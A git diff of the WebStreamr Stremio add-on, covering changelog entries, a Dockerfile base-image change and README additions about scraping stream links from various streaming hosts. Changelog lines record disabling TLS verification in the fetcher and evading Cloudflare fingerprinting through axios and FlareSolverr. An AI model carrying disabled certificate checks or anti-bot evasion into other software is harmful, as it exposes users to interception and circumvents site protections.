* **deps:** update dependency axios-cache-interceptor to v1.11.3 ([#626](https://github.com/webstreamr/webstreamr/issues/626)) ([4bec9e5](https://github.com/webstreamr/webstreamr/commit/4bec9e556f8618bc00ea3cda685e3e91aeba82c3))
|
||||||
|
* enforce https:// prefix in mediaflow proxy url and support config without scheme to work aroud elfhosted weirdness ([da7397f](https://github.com/webstreamr/webstreamr/commit/da7397fe75d434aa8a76e1f6ea2443bd631a4ace))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* add RgShows ([dcad7db](https://github.com/webstreamr/webstreamr/commit/dcad7db29c272dcb35504cc38d365a929906bf9c))
|
||||||
|
|
||||||
|
## [0.60.0](https://github.com/webstreamr/webstreamr/compare/v0.59.1...v0.60.0) (2026-01-06)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **fetcher:** disable TLS verification ([281fe00](https://github.com/webstreamr/webstreamr/commit/281fe00a351fc7aa25596e4b1f6b6272247feeb8))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **extractor:** switch KinoGer from cf to source, add kinoger.p2pplay.pro support ([f6f71b0](https://github.com/webstreamr/webstreamr/commit/f6f71b043bc51b1b22316c53c916bf24ab745f95))
|
||||||
|
|
||||||
|
## [0.59.1](https://github.com/webstreamr/webstreamr/compare/v0.59.0...v0.59.1) (2026-01-06)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** adapt MegaKino domain ([04f3fc4](https://github.com/webstreamr/webstreamr/commit/04f3fc42e06f4a69804bb0c080922615843af31f))
|
||||||
|
|
||||||
|
## [0.59.0](https://github.com/webstreamr/webstreamr/compare/v0.58.12...v0.59.0) (2026-01-06)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#615](https://github.com/webstreamr/webstreamr/issues/615)) ([8d1991e](https://github.com/webstreamr/webstreamr/commit/8d1991ed84f566585ec528345bee1548b4916c35))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.52.0 ([#616](https://github.com/webstreamr/webstreamr/issues/616)) ([430e5b7](https://github.com/webstreamr/webstreamr/commit/430e5b7fce20925814227a7effbe55a5eb6bb2eb))
|
||||||
|
* **extractor:** add crystaltreatmenteast.com to VOE ([bfe8c36](https://github.com/webstreamr/webstreamr/commit/bfe8c36e874c9f246852d17fcedf83eb5e4d481f))
|
||||||
|
* **source:** do not filter out any KinoGer links ([41bc53b](https://github.com/webstreamr/webstreamr/commit/41bc53b9da4f4882b415b055d99f0ef31c5a907a))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **extractor:** bring back Fsst ([e1e8f37](https://github.com/webstreamr/webstreamr/commit/e1e8f37862874f3e178b4e4dbd2f44bfcc47a0ab))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** handle FileLions deleted by administration ([c075fe9](https://github.com/webstreamr/webstreamr/commit/c075fe9481f21e2f3f5715227b4b939c3de11d0b))
|
||||||
|
* **source:** handle MegaKino relative page links ([7146c6c](https://github.com/webstreamr/webstreamr/commit/7146c6cf11fa0d7ad12596987eeff176daf97697))
|
||||||
|
|
||||||
|
## [0.58.12](https://github.com/webstreamr/webstreamr/compare/v0.58.11...v0.58.12) (2026-01-02)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **source:** add 4KHDHub test for stranger things s05e08 ([93a098e](https://github.com/webstreamr/webstreamr/commit/93a098e438438efe3d22b4439378f9de6fc0e577))
|
||||||
|
* **source:** determine latest 4KHDHub domain more dynamically ([f8f62db](https://github.com/webstreamr/webstreamr/commit/f8f62db174eaa4acc8dbce1ff9f44a0318e99a7a))
|
||||||
|
* **source:** update 4KHDHub TLD and re-generate fixtures ([1f4d7c7](https://github.com/webstreamr/webstreamr/commit/1f4d7c752d08f9952af3f0c8a87a66b64ddb2c1d))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* run `npm audit fix` to fix security issues ([9b3c7c7](https://github.com/webstreamr/webstreamr/commit/9b3c7c76cf2eb77e9df895408b65f316c71f9406))
|
||||||
|
|
||||||
|
## [0.58.11](https://github.com/webstreamr/webstreamr/compare/v0.58.10...v0.58.11) (2026-01-01)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#606](https://github.com/webstreamr/webstreamr/issues/606)) ([9079fee](https://github.com/webstreamr/webstreamr/commit/9079feebbdaaec181915bca174034a46c9f62ab0))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.11.1 ([#605](https://github.com/webstreamr/webstreamr/issues/605)) ([a7d9359](https://github.com/webstreamr/webstreamr/commit/a7d93590c6c0d9e2a51cb08b5d6d9ddae64d0bec))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.11.2 ([#607](https://github.com/webstreamr/webstreamr/issues/607)) ([30c6026](https://github.com/webstreamr/webstreamr/commit/30c60261af9406bd202733c3d58455949d1d557e))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.50.1 ([#599](https://github.com/webstreamr/webstreamr/issues/599)) ([d20c568](https://github.com/webstreamr/webstreamr/commit/d20c568e858ead5eac5b2ed4bd7b5e8838ccc9a2))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.51.0 ([#608](https://github.com/webstreamr/webstreamr/issues/608)) ([f8b63f4](https://github.com/webstreamr/webstreamr/commit/f8b63f4cceade84592c43fbd6644a3fb291eae49))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** add new FileLions domain ([c8e38d7](https://github.com/webstreamr/webstreamr/commit/c8e38d73fff2ad0ca9205bc1c6770d3c102c3416))
|
||||||
|
* **extractor:** deal better with cases where video ID URLs end with a slash ([9f5ac02](https://github.com/webstreamr/webstreamr/commit/9f5ac02ec60b66fd08cd37fa33b723939faae4e5))
|
||||||
|
* **extractor:** use last FileMoon iframe url matcher ([135d90a](https://github.com/webstreamr/webstreamr/commit/135d90a2334e9598d5cc93d1973db417ef97c253))
|
||||||
|
* **fetcher:** increase queue limits 5 times ([e7b1e2a](https://github.com/webstreamr/webstreamr/commit/e7b1e2a4fcc9fae0b729118f274fc6fcc481ed4d))
|
||||||
|
* **test:** improve stability of MegaKino test by dirty mocking getFinalRedirectUrl ([6f24b79](https://github.com/webstreamr/webstreamr/commit/6f24b7928deed81b7891885a85dce031e4693a5a))
|
||||||
|
|
||||||
|
## [0.58.10](https://github.com/webstreamr/webstreamr/compare/v0.58.9...v0.58.10) (2025-12-22)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#580](https://github.com/webstreamr/webstreamr/issues/580)) ([0164995](https://github.com/webstreamr/webstreamr/commit/01649955b1f66c4b2093972c7d8c2e3a09cfd1af))
|
||||||
|
* **deps:** lock file maintenance ([#595](https://github.com/webstreamr/webstreamr/issues/595)) ([36a15f0](https://github.com/webstreamr/webstreamr/commit/36a15f0091343165751ca3e9ecbe7d7709fdc39f))
|
||||||
|
* **deps:** replace dependency @tsconfig/node22 with @tsconfig/node24 ([#581](https://github.com/webstreamr/webstreamr/issues/581)) ([9fd5634](https://github.com/webstreamr/webstreamr/commit/9fd563450ebf56c741146b488e2f16673d66a85c))
|
||||||
|
* **deps:** update dependency @types/node to v24.10.4 ([#579](https://github.com/webstreamr/webstreamr/issues/579)) ([5d412b7](https://github.com/webstreamr/webstreamr/commit/5d412b759f7e3e3233fd5c6423418bfd3ea4d028))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.10.0 ([#592](https://github.com/webstreamr/webstreamr/issues/592)) ([58bd625](https://github.com/webstreamr/webstreamr/commit/58bd6250c9636ee99ece3930a792515a5a2e9d5e))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.9.1 ([#584](https://github.com/webstreamr/webstreamr/issues/584)) ([fa6bee4](https://github.com/webstreamr/webstreamr/commit/fa6bee4c834eae612019ced0081aed320fbf80f4))
|
||||||
|
* **deps:** update dependency cacheable to v2.3.1 ([#587](https://github.com/webstreamr/webstreamr/issues/587)) ([10081a2](https://github.com/webstreamr/webstreamr/commit/10081a2276e9808f0a376c8084231ab929de3eda))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.50.0 ([#583](https://github.com/webstreamr/webstreamr/issues/583)) ([40f9f9e](https://github.com/webstreamr/webstreamr/commit/40f9f9ec8c1f6f96429d86960c9973150a8d116d))
|
||||||
|
* **deps:** update eslint monorepo to v9.39.2 ([#574](https://github.com/webstreamr/webstreamr/issues/574)) ([4f7a9d7](https://github.com/webstreamr/webstreamr/commit/4f7a9d725e69be926b3142453590a314913e83c5))
|
||||||
|
* **source:** useless debug log ([7264fd2](https://github.com/webstreamr/webstreamr/commit/7264fd2ed4c3d2f05b8a330ef39e246d97bba039))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** update FileLion domains, remove kinoger.be ([6cc24c0](https://github.com/webstreamr/webstreamr/commit/6cc24c0332b6a34276de1bfd9d53053541639163))
|
||||||
|
* return 400 for invalid ID instead of raising Error ([0610b85](https://github.com/webstreamr/webstreamr/commit/0610b8556ae3190b291dd040eff831d5e3e90878))
|
||||||
|
* **source:** determine Frembed domain dynamically ([924265b](https://github.com/webstreamr/webstreamr/commit/924265b9640385b33e3a7a8dfb61b4993442e52f))
|
||||||
|
* use "Mozilla" instead of "Mozilla/5.0" as default user agent ([ddf4f22](https://github.com/webstreamr/webstreamr/commit/ddf4f227b3350b87a91be6f2c063a993bf90f746))
|
||||||
|
|
||||||
|
## [0.58.9](https://github.com/webstreamr/webstreamr/compare/v0.58.8...v0.58.9) (2025-12-12)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** fix HubCloud picking up incorrect FSL URLs ([e438f3c](https://github.com/webstreamr/webstreamr/commit/e438f3cbbde4ccf5614f574a8816db722751fcee))
|
||||||
|
* **extractor:** handle FileMoon with missing height info in packed ([d44e0a2](https://github.com/webstreamr/webstreamr/commit/d44e0a2588fddc332d5bc833936e42fcd5ca2667))
|
||||||
|
* **extractor:** use extractorId per HubCloud sub hoster again for better bingeGroup ([d71aa24](https://github.com/webstreamr/webstreamr/commit/d71aa240e7a29d34b82bc171bafd1b576c2efa89))
|
||||||
|
* **source:** resolve MegaKino dynamically and cache for an hour ([258e35c](https://github.com/webstreamr/webstreamr/commit/258e35c94db461a2efcb9089d640024ab123bdb6))
|
||||||
|
|
||||||
|
## [0.58.8](https://github.com/webstreamr/webstreamr/compare/v0.58.7...v0.58.8) (2025-12-11)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#562](https://github.com/webstreamr/webstreamr/issues/562)) ([5ff8a49](https://github.com/webstreamr/webstreamr/commit/5ff8a49be5a509df4b9503fb2ee42c9723207de5))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.9.0 ([#566](https://github.com/webstreamr/webstreamr/issues/566)) ([32b49d4](https://github.com/webstreamr/webstreamr/commit/32b49d49a957626311c655ea403b1b9d8977187b))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.49.0 ([#567](https://github.com/webstreamr/webstreamr/issues/567)) ([580845a](https://github.com/webstreamr/webstreamr/commit/580845ae77c11652fafca932f79885d8f6738c56))
|
||||||
|
* **deps:** update dependency winston to v3.19.0 ([#559](https://github.com/webstreamr/webstreamr/issues/559)) ([3955820](https://github.com/webstreamr/webstreamr/commit/3955820eb96a65c1971f7a1eaaa180c5216e8fd4))
|
||||||
|
* **source:** remove VidSrc which does not add value atm ([1bd85fb](https://github.com/webstreamr/webstreamr/commit/1bd85fb4ad038ff979cb372fd0c8577c54aaf775))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** update MegaKino domain ([42b9cbe](https://github.com/webstreamr/webstreamr/commit/42b9cbe38fc3449f64499419e35f380e1cdd2c80))
|
||||||
|
|
||||||
|
|
||||||
|
### Code Refactoring
|
||||||
|
|
||||||
|
* add generic source and extractor ids to meta and generalize bingeGroup generation ([d7edb51](https://github.com/webstreamr/webstreamr/commit/d7edb51698216ca56ce416fef0405f985dd85f3f))
|
||||||
|
|
||||||
|
## [0.58.7](https://github.com/webstreamr/webstreamr/compare/v0.58.6...v0.58.7) (2025-12-06)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **extractor:** add kinoger.ru support to VOE ([50c5d3a](https://github.com/webstreamr/webstreamr/commit/50c5d3a1cd764086573c7c851595245c2f551140))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** return all KinoGer domains, fixes VOE results ([cf0be47](https://github.com/webstreamr/webstreamr/commit/cf0be4712e0b8f718e9b23910ebbcab65d825130))
|
||||||
|
* **source:** update MegaKino domain ([0f7bc7c](https://github.com/webstreamr/webstreamr/commit/0f7bc7c07f11e188cfd1d372e02d8cef18f32573))
|
||||||
|
|
||||||
|
|
||||||
|
### Reverts
|
||||||
|
|
||||||
|
* fix(source): remove KinoGer ([8dae887](https://github.com/webstreamr/webstreamr/commit/8dae887ecab9c45fa5ac7419019d91459a15bfbb))
|
||||||
|
|
||||||
|
## [0.58.6](https://github.com/webstreamr/webstreamr/compare/v0.58.5...v0.58.6) (2025-12-04)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency express to v5.2.0 ([#547](https://github.com/webstreamr/webstreamr/issues/547)) ([e092d72](https://github.com/webstreamr/webstreamr/commit/e092d7247d5085f7ac707e56f29c104af2196303))
|
||||||
|
* **deps:** update dependency express to v5.2.1 ([#549](https://github.com/webstreamr/webstreamr/issues/549)) ([f549a32](https://github.com/webstreamr/webstreamr/commit/f549a32dd27629984df9706b98dc9aabf38cc784))
|
||||||
|
* **deps:** update dependency ts-jest to v29.4.6 ([#546](https://github.com/webstreamr/webstreamr/issues/546)) ([d3dbedf](https://github.com/webstreamr/webstreamr/commit/d3dbedf18a582da1f4045820b6b76171d42791d6))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.48.1 ([#550](https://github.com/webstreamr/webstreamr/issues/550)) ([d7392c0](https://github.com/webstreamr/webstreamr/commit/d7392c09d2b6eaeefdf797cb4df76583419f1488))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** handle DoodStream Not Found ([ae00c43](https://github.com/webstreamr/webstreamr/commit/ae00c431060c3bdf2184ffddc335cac5dd6f4cc4))
|
||||||
|
|
||||||
|
## [0.58.5](https://github.com/webstreamr/webstreamr/compare/v0.58.4...v0.58.5) (2025-12-01)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#542](https://github.com/webstreamr/webstreamr/issues/542)) ([d7e82ce](https://github.com/webstreamr/webstreamr/commit/d7e82ceff3c31f1f1a6ffb9c50ddd9dff41e8e34))
|
||||||
|
* **extractor:** add new VOE domains ([cba3c8b](https://github.com/webstreamr/webstreamr/commit/cba3c8bbaea45996647d1a0a14a63a829fc5ce91))
|
||||||
|
* **extractor:** match new DoodStream domain ([4a14ad7](https://github.com/webstreamr/webstreamr/commit/4a14ad7fb0dfbdb53f6a6cdd475f33cdd45842e6))
|
||||||
|
* introduce helper for better and central season/episode formatting ([5c04104](https://github.com/webstreamr/webstreamr/commit/5c04104ad21f8b0c21a4228893fa8ed8bd8351e5))
|
||||||
|
|
||||||
|
|
||||||
|
### Code Refactoring
|
||||||
|
|
||||||
|
* **extractor:** move label format handling into central place ([ef2b672](https://github.com/webstreamr/webstreamr/commit/ef2b6721c72283dde9b3a56f92ab7c435a4daac1))
|
||||||
|
|
||||||
|
## [0.58.4](https://github.com/webstreamr/webstreamr/compare/v0.58.3...v0.58.4) (2025-11-30)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* noop ([825d97a](https://github.com/webstreamr/webstreamr/commit/825d97adc4985beef5acf7a67d3ed7f91e2b9f78))
|
||||||
|
|
||||||
|
## [0.58.3](https://github.com/webstreamr/webstreamr/compare/v0.58.2...v0.58.3) (2025-11-30)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* adapt default user agent slightly ([1dd9d32](https://github.com/webstreamr/webstreamr/commit/1dd9d324e6a39b70bd7c171aed5853430b0f6159))
|
||||||
|
|
||||||
|
|
||||||
|
### Reverts
|
||||||
|
|
||||||
|
* "chore: remove proxy headers in requests" ([afbc16a](https://github.com/webstreamr/webstreamr/commit/afbc16a3ec717275f4f9af134edd9a2542a781c0))
|
||||||
|
|
||||||
|
## [0.58.2](https://github.com/webstreamr/webstreamr/compare/v0.58.1...v0.58.2) (2025-11-29)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* remove proxy headers in requests ([6f6a3ae](https://github.com/webstreamr/webstreamr/commit/6f6a3ae2fd58548c66822309e8768ae0ef76d9a3))
|
||||||
|
|
||||||
|
## [0.58.1](https://github.com/webstreamr/webstreamr/compare/v0.58.0...v0.58.1) (2025-11-29)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* switch to non-alpine based node image ([9f7155f](https://github.com/webstreamr/webstreamr/commit/9f7155f42e2ca68822c9b1c121b6bb3604f2e35d))
|
||||||
|
|
||||||
|
## [0.58.0](https://github.com/webstreamr/webstreamr/compare/v0.57.2...v0.58.0) (2025-11-29)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#473](https://github.com/webstreamr/webstreamr/issues/473)) ([57bc464](https://github.com/webstreamr/webstreamr/commit/57bc4640e5931ad38d1200027a1f2f68891f18bb))
|
||||||
|
* **deps:** lock file maintenance ([#495](https://github.com/webstreamr/webstreamr/issues/495)) ([e478a45](https://github.com/webstreamr/webstreamr/commit/e478a45bc0f5fc3d86f42d0065a445e37e03255a))
|
||||||
|
* **deps:** lock file maintenance ([#508](https://github.com/webstreamr/webstreamr/issues/508)) ([3b78186](https://github.com/webstreamr/webstreamr/commit/3b7818670248b2b17aecd74d795a4f49c4b844e0))
|
||||||
|
* **deps:** lock file maintenance ([#520](https://github.com/webstreamr/webstreamr/issues/520)) ([4815054](https://github.com/webstreamr/webstreamr/commit/4815054feda7c7429065158d08b40b2df6f2e722))
|
||||||
|
* **deps:** update actions/checkout action to v6 ([#515](https://github.com/webstreamr/webstreamr/issues/515)) ([683e26e](https://github.com/webstreamr/webstreamr/commit/683e26e32a0c92fb3cebf5dad80d5621537da439))
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.6.0 ([#512](https://github.com/webstreamr/webstreamr/issues/512)) ([b4ba098](https://github.com/webstreamr/webstreamr/commit/b4ba09815837c7cd3d02ba58cd4f63bc57fa95de))
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.6.1 ([#513](https://github.com/webstreamr/webstreamr/issues/513)) ([c50e095](https://github.com/webstreamr/webstreamr/commit/c50e095781eb179e874585d7a264ef2ff1f6969b))
|
||||||
|
* **deps:** update dependency @tsconfig/node22 to v22.0.3 ([#502](https://github.com/webstreamr/webstreamr/issues/502)) ([3f0c661](https://github.com/webstreamr/webstreamr/commit/3f0c661dae7abbc06411c62c5244fe192f277924))
|
||||||
|
* **deps:** update dependency @tsconfig/node22 to v22.0.4 ([#504](https://github.com/webstreamr/webstreamr/issues/504)) ([e2268a3](https://github.com/webstreamr/webstreamr/commit/e2268a325a09d11126b3c95782804278310be867))
|
||||||
|
* **deps:** update dependency @tsconfig/node22 to v22.0.5 ([#511](https://github.com/webstreamr/webstreamr/issues/511)) ([836021c](https://github.com/webstreamr/webstreamr/commit/836021c57ec28819da374b7513bdd4429ea521dd))
|
||||||
|
* **deps:** update dependency @types/node to v24.10.1 ([#507](https://github.com/webstreamr/webstreamr/issues/507)) ([dbbf310](https://github.com/webstreamr/webstreamr/commit/dbbf310661b3b1cabac7bc40f4a2c3d7eeab7537))
|
||||||
|
* **deps:** update dependency cacheable to v2.2.0 ([#506](https://github.com/webstreamr/webstreamr/issues/506)) ([7eb760b](https://github.com/webstreamr/webstreamr/commit/7eb760b5d6d49f69ea8cca2fa110a60a23af0aec))
|
||||||
|
* **deps:** update dependency cacheable to v2.3.0 ([#526](https://github.com/webstreamr/webstreamr/issues/526)) ([219cb4b](https://github.com/webstreamr/webstreamr/commit/219cb4b5f619f5a30d1d4bd4e49939248c07afbc))
|
||||||
|
* **deps:** update dependency nodemon to v3.1.11 ([#499](https://github.com/webstreamr/webstreamr/issues/499)) ([7dca36f](https://github.com/webstreamr/webstreamr/commit/7dca36fa83838b317b0315903a65f84b54948975))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.46.3 ([#479](https://github.com/webstreamr/webstreamr/issues/479)) ([3c398d4](https://github.com/webstreamr/webstreamr/commit/3c398d4a1db17c67c6a3b220046b069e1f7e738b))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.46.4 ([#497](https://github.com/webstreamr/webstreamr/issues/497)) ([159be1c](https://github.com/webstreamr/webstreamr/commit/159be1cac484f80ccc813e07202431f97d034086))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.47.0 ([#510](https://github.com/webstreamr/webstreamr/issues/510)) ([0a85b0d](https://github.com/webstreamr/webstreamr/commit/0a85b0dc1ec195de3e14085c2d9132c8e64eaf66))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.48.0 ([#525](https://github.com/webstreamr/webstreamr/issues/525)) ([9bec5b5](https://github.com/webstreamr/webstreamr/commit/9bec5b5f3b353edaa9f5069f7ce36c01546d6d3a))
|
||||||
|
* **deps:** update eslint monorepo to v9.39.1 ([#468](https://github.com/webstreamr/webstreamr/issues/468)) ([33dbeb9](https://github.com/webstreamr/webstreamr/commit/33dbeb9776ffb9bc4e697163de4172353502d163))
|
||||||
|
* do not use proxy for MFP urls ([280abc4](https://github.com/webstreamr/webstreamr/commit/280abc4dea4c63dcbca778d333ad4cf267c2a079))
|
||||||
|
* **extractor:** remove non-working VidSrc ([f5f4740](https://github.com/webstreamr/webstreamr/commit/f5f47403cc15290c4473e3bdcdc4d131b8c9c4b2))
|
||||||
|
* **extractor:** shorten mediaflow proxy label ([4cd1e09](https://github.com/webstreamr/webstreamr/commit/4cd1e09466a69e27923207a7edb1fd77004e902a))
|
||||||
|
* **source:** use more consistent meta title format ([1765311](https://github.com/webstreamr/webstreamr/commit/17653115867f7349f11bc147cf2634bede0ddc7d))
|
||||||
|
|
||||||
|
|
||||||
|
### Continuous Integration
|
||||||
|
|
||||||
|
* run build and test actions for PRs ([d80ca63](https://github.com/webstreamr/webstreamr/commit/d80ca63dad2ad87a05c369189551e8632e2ad909))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* switch to axios to avoid Cloudflare TLS fingerprinting issues ([09f795b](https://github.com/webstreamr/webstreamr/commit/09f795b8622808e062bddecb02db68647d369183))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* ensure that VixSrc results have a title ([67d0508](https://github.com/webstreamr/webstreamr/commit/67d0508fd768d9c9fc637e4bf32bfa6a7223808a))
|
||||||
|
* npm audit fix ([31e46c5](https://github.com/webstreamr/webstreamr/commit/31e46c5c56ce0fb2059b98ad7b6bbbda07ffa74d))
|
||||||
|
* **source:** update frembed domain and add referer for API requests ([d07d31d](https://github.com/webstreamr/webstreamr/commit/d07d31d94ad66a0530683620a2dce2321b4c833b))
|
||||||
|
* use axios proxy config properly ([b793001](https://github.com/webstreamr/webstreamr/commit/b7930014abbeb4445b15a12c060a9fc396561bd4))
|
||||||
|
* use correct fetch for FlareSolverr ([68cfa65](https://github.com/webstreamr/webstreamr/commit/68cfa65135b76ba054c33cd08350473967a6a078))
|
||||||
|
|
||||||
|
## [0.57.2](https://github.com/webstreamr/webstreamr/compare/v0.57.1...v0.57.2) (2025-11-03)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency @types/express to v5.0.5 ([#472](https://github.com/webstreamr/webstreamr/issues/472)) ([a7bc742](https://github.com/webstreamr/webstreamr/commit/a7bc742035b0a836f785308b922ed919eed4e8b6))
|
||||||
|
* **extractor:** register Vidora extractor ([82b810e](https://github.com/webstreamr/webstreamr/commit/82b810ed3609cfda5628a33b98e417847bcf3cc6))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** fix KinoGer and add new domains ([8e1ea10](https://github.com/webstreamr/webstreamr/commit/8e1ea10c5a031c864ab8dc752e2a2568671050a4))
|
||||||
|
|
||||||
|
## [0.57.1](https://github.com/webstreamr/webstreamr/compare/v0.57.0...v0.57.1) (2025-11-02)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** switch to new Frembed domain ([88a1fe1](https://github.com/webstreamr/webstreamr/commit/88a1fe10a155d72b05df905e0eabff3ff857b483))
|
||||||
|
|
||||||
|
## [0.57.0](https://github.com/webstreamr/webstreamr/compare/v0.56.8...v0.57.0) (2025-11-01)
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **extractor:** add Vidora extractor ([#466](https://github.com/webstreamr/webstreamr/issues/466)) ([db25f98](https://github.com/webstreamr/webstreamr/commit/db25f98251257133ead68187e3aa97333cbab302))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** remove flaky HubCloud head requests ([053dce0](https://github.com/webstreamr/webstreamr/commit/053dce07297a62b1cae0dcfcf7c753c333b8538e))
|
||||||
|
* **extractor:** support embed-only VOE urls ([a36d152](https://github.com/webstreamr/webstreamr/commit/a36d152b61e08c8e29500e3912d3b1c2da63fdc5))
|
||||||
|
* **source:** remove KinoGer ([e5a5c62](https://github.com/webstreamr/webstreamr/commit/e5a5c621065de4849a3c7edfd4b893c80df47f61))
|
||||||
|
|
||||||
## [0.56.8](https://github.com/webstreamr/webstreamr/compare/v0.56.7...v0.56.8) (2025-10-29)
|
## [0.56.8](https://github.com/webstreamr/webstreamr/compare/v0.56.7...v0.56.8) (2025-10-29)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
FROM node:24-alpine AS builder
|
FROM node:24 AS builder
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY package*.json ./
|
COPY package*.json ./
|
||||||
|
|
@ -10,7 +10,7 @@ RUN npm run build
|
||||||
|
|
||||||
RUN npm ci --only=production
|
RUN npm ci --only=production
|
||||||
|
|
||||||
FROM node:24-alpine
|
FROM node:24
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY --from=builder /app/dist ./dist
|
COPY --from=builder /app/dist ./dist
|
||||||
|
|
|
||||||
21
README.md
21
README.md
|
|
@ -1,15 +1,28 @@
|
||||||
# WebStreamr
|
# WebStreamr
|
||||||
|
|
||||||
[](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml)
|
[](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml)
|
||||||
[](https://github.com/webstreamr/webstreamr/releases)
|
[](https://github.com/webstreamr/webstreamr/releases)
|
||||||

|

|
||||||
|
|
||||||
[Stremio](https://www.stremio.com/) add-on which provides HTTP URLs from streaming websites.
|
[Stremio](https://www.stremio.com/) add-on which provides HTTP URLs from streaming websites.
|
||||||
|
|
||||||
|
HTTP streams have limitations.
|
||||||
|
For a better experience, I'd advise using a Debrid service and WebStreamr as fallback.
|
||||||
|
[TorBox](https://torbox.app/subscription?referral=f22eb00d-27ce-4e20-85fc-68da3d018b99) is working very well.
|
||||||
|
|
||||||
## Public instance
|
## Public instance
|
||||||
|
|
||||||
A public instance is available at https://webstreamr.hayd.uk. Hosting infrastructure for this instance is donated by [ElfHosted](https://elfhosted.com), and independently maintained by [Hayduk](https://hayd.uk).
|
A public instance is available at https://webstreamr.hayd.uk. Hosting infrastructure for this instance is donated by [ElfHosted](https://elfhosted.com), and independently maintained by [Hayduk](https://hayd.uk).
|
||||||
|
|
||||||
|
## Known issues / limitations
|
||||||
|
|
||||||
|
- PixelServer / pixeldrain has a daily limit of 6 GB per IP: https://pixeldrain.dev
|
||||||
|
- Dropload and SuperVideo on Android do not work because Stremio does not use the `Referer` header properly via HLS playlists: https://github.com/Stremio/stremio-bugs/issues/2389, maybe https://github.com/Stremio/stremio-bugs/issues/1579
|
||||||
|
- MediaFlow proxy has to be used in an inefficient way because Stremio on Android or its players cannot deal with HLS playlist with redirects: https://github.com/Stremio/stremio-bugs/issues/1574
|
||||||
|
- FlareSolverr cookies cannot be used because Cloudflare does techniques like TLS fingerprinting most likely. But FlareSolverr uses a session per host and should be quick.
|
||||||
|
- VidSrc works but rate limits heavily and is therefore only queried as fallback if nothing else is found.
|
||||||
|
